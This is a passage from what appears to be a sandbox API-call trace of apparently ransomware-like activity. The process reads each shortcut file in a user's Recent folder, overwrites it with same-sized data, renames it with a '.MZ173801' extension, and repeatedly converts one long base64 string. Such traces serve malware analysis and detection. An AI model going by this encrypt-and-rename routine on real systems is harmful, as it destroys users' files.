lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xed0, lpOverlapped=0x0) returned 1 [0122.307] CloseHandle (hObject=0x288) returned 1 [0122.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WBa20XpzpXs6n.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wba20xpzpxs6n.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.309] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xed0, lpOverlapped=0x0) returned 1 [0122.310] CloseHandle (hObject=0x288) returned 1 [0122.315] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WBa20XpzpXs6n.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wba20xpzpxs6n.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WBa20XpzpXs6n.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wba20xpzpxs6n.lnk.mz173801")) returned 1 [0122.316] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf28b8a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf28b8a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf28b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xec5, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WgTFso5.lnk", cAlternateFileName="")) returned 1 [0122.316] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.316] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.316] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WgTFso5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wgtfso5.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf28b8a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf28b8a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf28b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xec5)) returned 1 [0122.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WgTFso5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wgtfso5.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.321] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xec5, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xec5, lpOverlapped=0x0) returned 1 [0122.322] CloseHandle (hObject=0x288) returned 1 [0122.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WgTFso5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wgtfso5.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.324] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xec5, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xec5, lpOverlapped=0x0) returned 1 [0122.325] CloseHandle (hObject=0x288) returned 1 [0122.334] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WgTFso5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wgtfso5.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WgTFso5.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wgtfso5.lnk.mz173801")) returned 1 [0122.335] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef91d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb9ec80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb9ec80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x339, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WLYZZoP9DJKT.lnk", cAlternateFileName="WLYZZO~1.LNK")) returned 1 [0122.336] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.336] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WLYZZoP9DJKT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wlyzzop9djkt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef91d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb9ec80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb9ec80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x339)) returned 1 [0122.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WLYZZoP9DJKT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wlyzzop9djkt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.341] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x339, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x339, lpOverlapped=0x0) returned 1 [0122.342] CloseHandle (hObject=0x288) returned 1 [0122.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WLYZZoP9DJKT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wlyzzop9djkt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.343] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x339, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x339, lpOverlapped=0x0) returned 1 [0122.344] CloseHandle (hObject=0x288) returned 1 [0122.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 